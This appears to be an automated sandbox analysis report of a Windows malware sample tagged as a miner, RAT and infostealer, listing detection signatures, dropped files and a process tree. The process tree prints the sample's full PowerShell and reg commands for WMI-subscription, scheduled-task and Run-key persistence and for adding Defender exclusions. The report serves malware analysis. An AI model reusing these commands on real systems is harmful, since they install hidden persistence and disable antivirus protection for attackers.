Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 19:09

General

  • Target
    2026-08-20_415bfaf129271b2a52139700f207146f_coinminer_dosia_glassworm_poet-rat_qilin_quasar-rat_snatch.exe
  • Size 13.2MB
  • Sample260820-xt5a4ahn6w
  • SHA256 af1520326c6a2dae3ddfc1b60daf0bdb6622b44b5ac02be4510b4b2e49f6d35d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_415bfaf129271b2a52139700f207146f_coinminer_dosia_glassworm_poet-rat_qilin_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_415bfaf129271b2a52139700f207146f_coinminer_dosia_glassworm_poet-rat_qilin_quasar-rat_snatch.exe"
    1⤵
    • Creates a file in the Startup directory
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync
      2⤵
      • Views/modifies file attributes
      PID:5940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'SecurityHealthHost_f_23e52075'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'SecurityHealthHost_c_23e52075'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='SecurityHealthHost_f_23e52075'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='SecurityHealthHost_c_23e52075'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'SecurityHealthHost_23e52075' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2324
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthHost /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:5676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync'; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' } Catch {}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:124
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe
    1⤵
    • Creates a file in the Startup directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'SecurityHealthHost_f_23e52075'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'SecurityHealthHost_c_23e52075'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='SecurityHealthHost_f_23e52075'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='SecurityHealthHost_c_23e52075'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'SecurityHealthHost_23e52075' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3268
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthHost /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:3524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync'; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' } Catch {}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4744

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4114c01cddaa5ced302cd6a6d3e77dd1cbf9cd5dc84b3572d1d572c9fdc3d3e0
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 9ac04b626ec5197acbc93936666012c62bb37d54eb05de2452f164f7a072ef61
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_ka02nqxf.myh.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ka02nqxf.myh.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        .hkg_persist_ok

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\.hkg_persist_ok
        • Size 356B
        • SHA256 41805aa93a54b1af0f96111fa77e7f4bd8be0c071058c040c502d58e540a001b
        • MD5 SHA1 SHA512 TLSH

        SecurityHealthHost.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe
        • Size 13.2MB
        • SHA256 af1520326c6a2dae3ddfc1b60daf0bdb6622b44b5ac02be4510b4b2e49f6d35d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SecurityHealthHost.cmd

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthHost.cmd
        • Size 101B
        • SHA256 192658b258f0a2ee8c31afccc421b935d8face81db8a1738820e75ec433da2b6
        • MD5 SHA1 SHA512 TLSH

        memory/2324-21-0x000001866CF70000-0x000001866CF7A000-memory.dmp

        memory/2324-19-0x000001866CF50000-0x000001866CF6E000-memory.dmp

        memory/2324-20-0x000001866CFE0000-0x000001866D092000-memory.dmp

        memory/2324-22-0x000001866CFA0000-0x000001866CFBE000-memory.dmp

        memory/4428-12-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp

        memory/4428-13-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp

        memory/4428-3-0x00007FFF67CDF000-0x00007FFF67CE0000-memory.dmp

        memory/4428-10-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp

        memory/4428-9-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp

        memory/4428-8-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp

        memory/4428-7-0x00000139D90A0000-0x00000139D90C2000-memory.dmp

        memory/4428-6-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp